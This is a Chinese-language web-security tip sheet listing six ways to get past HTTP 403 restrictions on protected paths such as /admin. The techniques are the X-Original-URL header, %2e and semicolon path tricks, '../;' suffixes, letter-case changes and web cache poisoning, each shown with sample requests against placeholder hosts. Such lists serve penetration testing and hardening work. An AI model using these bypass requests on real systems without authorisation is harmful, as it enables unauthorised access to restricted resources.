🚀 403 页面绕过技巧

  1. 🌐 使用 "X-Original-URL" 头:

    • 原理 :某些服务器在处理请求时,会检查 X-Original-URL 头部来确定请求的原始 URL。这种方法利用了服务器对 X-Original-URL 头部的信任,将其值设置为受限制的路径,从而绕过访问控制。

    • 原始请求:

      http 复制代码
      GET /admin HTTP/1.1
      Host: target.com
    • 绕过请求:

      http 复制代码
      GET /anything HTTP/1.1
      Host: target.com
      X-Original-URL: /admin
  2. ✨ 在第一个斜杠后添加 %2e

    • 原理%2e 是 URL 编码表示的点 (.),某些服务器可能会错误地解析它,导致忽略路径的一部分,从而访问受限制的资源。

    • 原始请求:

      http 复制代码
      http://target.com/admin => 403
    • 绕过请求:

      http 复制代码
      http://target.com/%2e/admin => 200
  3. 🛠 尝试在 URL 中添加点 (.) 斜杠 (/) 和分号 (;):

    • 原理:一些服务器在处理路径时,可能会忽略或错误处理特殊字符,如点 (.)、斜杠 (/) 和分号 (;),从而允许访问受限制的资源。

    • 原始请求:

      http 复制代码
      http://target.com/admin => 403
    • 绕过请求:

      http 复制代码
      http://target.com/secret/. => 200
      http://target.com/secret//. => 200
      http://target.com/./secret/.. => 200
      http://target.com/;/secret => 200
      http://target.com/;//secret => 200
  4. 🗂 在目录名称后添加 ../;

    • 原理 :目录遍历攻击的一种变体,通过在路径中添加 ../;,可能会绕过服务器的访问控制检查,直接访问受限制的资源。

    • 原始请求:

      http 复制代码
      http://target.com/admin
    • 绕过请求:

      http 复制代码
      http://target.com/admin../;
  5. 🔠 尝试将 URL 中的字母大写:

    • 原理:某些服务器对路径区分大小写,通过更改路径中某些字母的大小写,可能会绕过访问控制检查。

    • 原始请求:

      http 复制代码
      http://target.com/admin
    • 绕过请求:

      http 复制代码
      http://target.com/aDmIN
  6. 📦 通过 Web 缓存中毒:

    • 原理:利用 Web 缓存服务器对请求头的信任,将受限制路径的值存入缓存中,从而在后续请求中绕过访问控制。

    • 绕过请求:

      http 复制代码
      GET /anything HTTP/1.1
      Host: victim.com
      X-Original-URL: /admin
相关推荐
终焉暴龙王4 小时前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
qq_4309085712 小时前
网络安全-机遇与挑战
安全
安 当 加 密18 小时前
守护汽车“空中升级“:基于HSM/KMS的安全OTA固件签名与验证方案
安全·汽车
大咖分享课1 天前
多租户系统中的安全隔离机制设计
人工智能·安全·安全隔离
荔枝吻1 天前
软件异常读写威胁硬盘安全:从过往案例到防护之道
安全·硬盘
小马爱打代码1 天前
Spring Boot 接口安全设计:接口限流、防重放攻击、签名验证
网络·spring boot·安全
北极光SD-WAN组网1 天前
工业互联网时代,如何通过混合SD-WAN提升煤炭行业智能化网络安全
网络·安全·web安全
深圳安锐科技有限公司1 天前
基坑渗压数据不准?选对渗压计能实现自动化精准监测吗?
安全·自动化·自动化监测·大坝监测·渗压计
Arwen3031 天前
解密国密 SSL 证书:SM2、SM3、SM4 算法的协同安全效应
算法·安全·ssl
dingzd951 天前
通过 Web3 区块链安全评估,领先应对网络威胁
安全·web3·区块链·facebook·tiktok·instagram·clonbrowser